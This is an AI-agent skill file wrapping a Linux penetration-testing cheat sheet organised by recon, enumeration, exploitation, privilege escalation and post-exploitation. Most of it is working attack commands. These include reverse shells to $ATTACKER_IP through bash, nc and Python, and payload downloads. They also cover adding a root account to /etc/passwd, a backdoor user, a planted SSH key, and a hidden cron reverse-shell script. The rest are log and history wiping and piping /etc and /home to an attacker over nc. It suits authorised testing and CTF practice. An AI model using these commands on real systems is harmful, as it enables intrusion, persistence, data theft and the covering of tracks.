| name | linux-pentester-notes |
| description | Practical Linux command reference for penetration testing including recon, enumeration, exploitation, privilege escalation, and post-exploitation techniques. |
| triggers | ["how do I perform Linux reconnaissance for pentesting","show me privilege escalation commands for Linux","what are common Linux enumeration techniques","help me with Linux post-exploitation commands","I need Linux pentesting command examples","show me how to exploit Linux systems","what commands should I use for Linux recon","help with Linux security testing commands"] |
Linux Pentester Notes Skill
Skill by ara.so — Security Skills collection.
Overview
Linux-for-a-Pentester is a curated collection of practical Linux commands and techniques organized by penetration testing phases. This repository serves as a quick reference guide for security professionals conducting assessments, CTF challenges, or security research on Linux systems.
The repository is structured around the standard penetration testing methodology:
- General Commands (survival essentials)
- Reconnaissance (information gathering)
- Enumeration (deep service analysis)
- Exploitation (gaining initial access)
- Privilege Escalation (elevating permissions)
- Post-Exploitation (persistence and lateral movement)
Installation
This is a reference repository, not an installable tool. Clone it locally for quick access during engagements:
git clone https://github.com/HIMANSHUSHARMA20/Linux-for-a-Pentester.git
cd Linux-for-a-Pentester
echo "alias pentester='cd ~/Linux-for-a-Pentester && ls -la'" >> ~/.bashrc
source ~/.bashrc
Repository Structure
The repository is organized into directories by testing phase:
Linux-for-a-Pentester/
├── 00-General-Commands/ # Basic Linux survival commands
├── 01-Recon/ # Reconnaissance techniques
├── 02-Enumeration/ # Service and user enumeration
├── 03-Exploitation/ # Initial access techniques
├── 04-Privilege-Escalation/ # Privilege escalation methods
├── 05-Post-Exploitation/ # Persistence and cleanup
└── Cheatsheets/ # Quick reference one-liners
Key Command Categories
General Commands (00-General-Commands/)
Essential Linux commands for navigating and understanding target systems:
uname -a
cat /etc/os-release
hostname
uptime
find / -name "*.conf" 2>/dev/null
grep -r "password" /home 2>/dev/null
locate suid
which python python3
ps aux
ps -ef --forest
top
netstat -tulpn
ss -tulpn
Reconnaissance (01-Recon/)
Local and network reconnaissance commands:
ip a
ip route
arp -a
cat /etc/resolv.conf
whoami
id
w
last
cat /etc/passwd
cat /etc/group
df -h
mount
cat /etc/fstab
lsblk
ping -c 3 $TARGET_IP
nmap -sn 192.168.1.0/24
nmap -p- $TARGET_IP
Enumeration (02-Enumeration/)
Deep service and configuration analysis:
systemctl list-units --type=service
ps aux | grep root
crontab -l
cat /etc/crontab
ls -la /etc/cron.*
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -writable -type d 2>/dev/null
find / -writable -type f 2>/dev/null
find /etc -writable 2>/dev/null
getcap -r / 2>/dev/null
env
cat /etc/environment
history
cat ~/.bash_history
Exploitation (03-Exploitation/)
Techniques for gaining initial access:
bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1
nc -e /bin/bash $ATTACKER_IP 4444
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("$ATTACKER_IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
stty raw -echo; fg
wget http://$ATTACKER_IP:8000/payload.sh -O /tmp/payload.sh
curl http://$ATTACKER_IP:8000/payload.sh -o /tmp/payload.sh
nc $ATTACKER_IP 9999 > /tmp/payload.sh
echo "base64_encoded_payload" | base64 -d > /tmp/payload.sh
Privilege Escalation (04-Privilege-Escalation/)
Methods to elevate privileges to root:
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
./LinEnum.sh -t
sudo -l
sudo find /etc -exec /bin/bash \;
sudo vim -c ':!/bin/bash'
uname -r
searchsploit linux kernel 4.15
openssl passwd -1 -salt salt password123
echo 'newroot:$1$salt$hash:0:0:root:/root:/bin/bash' >> /etc/passwd
su newroot
echo 'bash -i >& /dev/tcp/$ATTACKER_IP/5555 0>&1' >> /path/to/cronjob.sh
echo '/bin/bash' > /tmp/vulnerable_binary
chmod +x /tmp/vulnerable_binary
export PATH=/tmp:$PATH
sudo vulnerable_command
python -c 'import os; os.setuid(0); os.system("/bin/bash")'
Post-Exploitation (05-Post-Exploitation/)
Maintaining access and covering tracks:
useradd -m -s /bin/bash backdoor
echo 'backdoor:password123' | chpasswd
usermod -aG sudo backdoor
mkdir -p /root/.ssh
echo "$ATTACKER_SSH_PUBLIC_KEY" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
cat > /usr/local/bin/.backdoor.sh << 'EOF'
bash -i >& /dev/tcp/$ATTACKER_IP/6666 0>&1
EOF
chmod +x /usr/local/bin/.backdoor.sh
echo "*/5 * * * * /usr/local/bin/.backdoor.sh" | crontab -
echo "" > /var/log/auth.log
echo "" > /var/log/syslog
echo "" > ~/.bash_history
history -c
unset HISTFILE
tar czf - /etc /home | nc $ATTACKER_IP 7777
Common Patterns
Pattern 1: Initial Shell to Stable TTY
bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1
python3 -c 'import pty; pty.spawn("/bin/bash")'
stty raw -echo; fg
export TERM=xterm-256color
stty rows 38 columns 116
Pattern 2: Full System Enumeration
uname -a
cat /etc/os-release
hostname
cat /etc/passwd
cat /etc/group
id
sudo -l
ip a
ip route
ss -tulpn
cat /etc/hosts
ps aux
systemctl list-units --type=service
cat /etc/crontab
crontab -l
find / -perm -4000 2>/dev/null
find / -writable -type d 2>/dev/null | grep -v proc
getcap -r / 2>/dev/null
Pattern 3: Quick Privesc Check
sudo -l
find / -perm -4000 -type f 2>/dev/null
find /etc /root /home -writable 2>/dev/null
getcap -r / 2>/dev/null
uname -r
grep -r -i "password" /home /var/www /opt 2>/dev/null
Troubleshooting
Issue: Commands Not Found
Some systems have minimal installations. Check for alternatives:
ss -tulpn
ip a
curl -O http://example.com/file
which python python3 python2
Issue: Permission Denied Errors
Redirect stderr to /dev/null to clean up output:
find / -name "config" 2>/dev/null
grep -r "password" / 2>/dev/null
Issue: Shell Not Stabilizing
Try alternative methods:
python -c 'import pty; pty.spawn("/bin/bash")'
script /dev/null -c bash
expect -c 'spawn /bin/bash; interact'
perl -e 'exec "/bin/bash";'
Issue: No Internet Access on Target
Transfer files using base64 encoding:
base64 -w0 tool.sh > tool.b64
echo "BASE64_STRING" | base64 -d > tool.sh
chmod +x tool.sh
Integration with Testing Workflows
Use During Active Engagement
cd ~/Linux-for-a-Pentester
grep -r "SUID" .
cat 04-Privilege-Escalation/suid-exploitation.md
Reference for Report Writing
The repository structure mirrors standard penetration testing phases, making it easy to reference during report writing and ensuring comprehensive coverage of testing activities.
CTF and Lab Practice
Use these commands as a checklist when practicing in:
- HackTheBox machines
- TryHackMe rooms
- OSCP lab machines
- VulnHub VMs
Best Practices
- Always get permission before testing on systems you don't own
- Document everything during engagements
- Test in isolated environments first
- Use automation wisely but understand what commands do
- Clean up after testing (remove backdoors, restore configs)
- Stay updated with new techniques and CVEs
Additional Resources
Notes for AI Agents
When helping users with Linux penetration testing:
- Always emphasize legal and ethical boundaries
- Recommend testing only on authorized systems
- Explain command flags and options for learning
- Suggest multiple approaches when one may fail
- Remind users to document findings for reporting
- Warn about destructive commands (rm, dd, etc.)
- Encourage understanding over memorization
This repository is a reference guide, not a step-by-step tutorial. Each engagement is unique and requires critical thinking and adaptation.